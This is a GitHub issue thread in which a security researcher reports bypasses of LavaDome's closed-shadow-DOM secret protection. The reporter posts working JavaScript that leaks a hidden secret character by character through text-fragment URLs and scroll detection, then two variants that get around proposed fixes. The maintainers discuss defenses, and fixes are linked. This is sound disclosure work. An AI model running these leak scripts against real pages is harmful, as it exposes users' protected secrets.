Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

LavaDome bypass via text fragments #35

Closed
masatokinugawa opened this issue Apr 19, 2024 · 11 comments · Fixed by #42 or #38
Closed

LavaDome bypass via text fragments #35

masatokinugawa opened this issue Apr 19, 2024 · 11 comments · Fixed by #42 or #38
Labels
bypass LavaDome security breach chromium Chromium related firefox Firefox related safari Safari related

Comments

@masatokinugawa
Copy link

I noticed that the text in the closed shadow can be leaked by detecting the scroll caused by text fragments.

  • Visit the demo using Chrome
  • Open console and run the code below
document.querySelector('h1').style.height = "1000px"; // Ensure that scrolling occurs
window.scroll(0, 0);
const sleep = ms => new Promise(r => setTimeout(r, ms));
const secretChars = "0123456789abcdef";
const secretLength = 32;
let foundChars = "";
for (let i = 0; i < secretLength; i++) {
  for (let j = 0; j < secretChars.length; j++) {
    location=`https://lavamoat.github.io/LavaDome/packages/core/demo/#:~:text=This%20is%20a%20secret:-,${foundChars}${secretChars[j]}`;
    await sleep(100); // Need to bypass Chrome's hang protection
    if (window.scrollY !== 0) {
      foundChars += secretChars[j];
      console.log(foundChars);
      window.scroll(0, 0);
      break;
    }
  }
}

This is inspired by an issue found by @lbherrera in one app.

@weizman
Copy link
Member

weizman commented Apr 21, 2024

This one is WILD.
Really cool.
Will have to think about this one.

Any ideas for how to defend against this one? @masatokinugawa @lbherrera

@masatokinugawa
Copy link
Author

Hmm, how about placing an SVG image containing the secret inside the closed shadow? like <img src="data:image/svg+xml;base64,..."> .
This way will prevent window.find() trick (#15) also.

@weizman
Copy link
Member

weizman commented Apr 23, 2024

SVG was considered originally for obvious reasons, but is currently rejected for making UI/UX integration far harder (as in, natural adaptation of style of the page becomes unnatural).

Not saying SVG is a hard-pass, but I would want to consider other options before defaulting to SVG.

@weizman
Copy link
Member

weizman commented Apr 23, 2024

Thinking out loud here:

What if I integrated something similar to this:

navigation.addEventListener("navigate", (event) => {
    if (event.destination.url.includes('#:~:')) {
        event.preventDefault();
    }
});

Would this be "bypassable" IYO? Because this does prevent the current version of your bypass @masatokinugawa

@masatokinugawa
Copy link
Author

It looks like we can put any string between # and :~:, so this still works:

document.querySelector('h1').style.height = "1000px"; // Ensure that scrolling occurs
window.scroll(0, 0);
const sleep = ms => new Promise(r => setTimeout(r, ms));
const secretChars = "0123456789abcdef";
const secretLength = 32;
let foundChars = "";
for (let i = 0; i < secretLength; i++) {
  for (let j = 0; j < secretChars.length; j++) {
    location=`https://lavamoat.github.io/LavaDome/packages/core/demo/#foo:~:text=This%20is%20a%20secret:-,${foundChars}${secretChars[j]}`;
    await sleep(100); // Need to bypass Chrome's hang protection
    if (window.scrollY !== 0) {
      foundChars += secretChars[j];
      console.log(foundChars);
      window.scroll(0, 0);
      break;
    }
  }
}

@weizman
Copy link
Member

weizman commented Apr 23, 2024

I'm less worried about that because that's addressable with more resilient identification of such URL search fragments. What I'm worried about is whether there's a core issue with this approach that can be bypassed completely (assuming we find a resilient way to tell a redirect to a "#:~:" is happening)

@weizman
Copy link
Member

weizman commented Apr 23, 2024

Here's a more stable version of what I had in mind with an explanation additionally #38 @masatokinugawa

@masatokinugawa
Copy link
Author

I can't think of the bypass, at least for now. It looks good.

@masatokinugawa
Copy link
Author

I found that this can be bypassed by copying the element to another iframe (or window).

const iframe = document.createElement('iframe');
iframe.src = "404";//arbitrary same-origin page
iframe.onload = async function() {
  iframe.onload = null;
  const iframeWindow = iframe.contentWindow;
  const secretElement = PRIVATE.parentNode;
  iframeWindow.document.body.appendChild(secretElement);
  iframeWindow.scroll(0, 0);
  const sleep = ms => new Promise(r => setTimeout(r, ms));
  const secretChars = "0123456789abcdef";
  const secretLength = 32;
  let foundChars = "";
  for (let i = 0; i < secretLength; i++) {
    for (let j = 0; j < secretChars.length; j++) {
      iframe.src = `404#:~:text=This%20is%20a%20secret:-,${foundChars}${secretChars[j]}`;
      await sleep(100); // Need to bypass Chrome's hang protection
      if (iframeWindow.scrollY !== 0) {
        foundChars += secretChars[j];
        console.log(foundChars);
        iframeWindow.scroll(0, 0);
        break;
      }
    }
  }
}
document.body.appendChild(iframe);

It is similar to #39 in that it abuses another window but the crucial difference from #39 is that the leaked data is a secret included in the main realm, not in the child.
Like #39, this seems like a difficult problem to solve, but I wrote it down just in case.

@weizman
Copy link
Member

weizman commented May 5, 2024

Super helpful.

Makes me realize I should probably teach the LavaDome instance to bail when is being attached to a realm that isn't the top.

@weizman
Copy link
Member

weizman commented Jun 2, 2024

#35 should be addressed entirely by the combo of #38 and #42

@weizman weizman added bypass LavaDome security breach chromium Chromium related safari Safari related firefox Firefox related labels Jun 23, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bypass LavaDome security breach chromium Chromium related firefox Firefox related safari Safari related
Projects
None yet
2 participants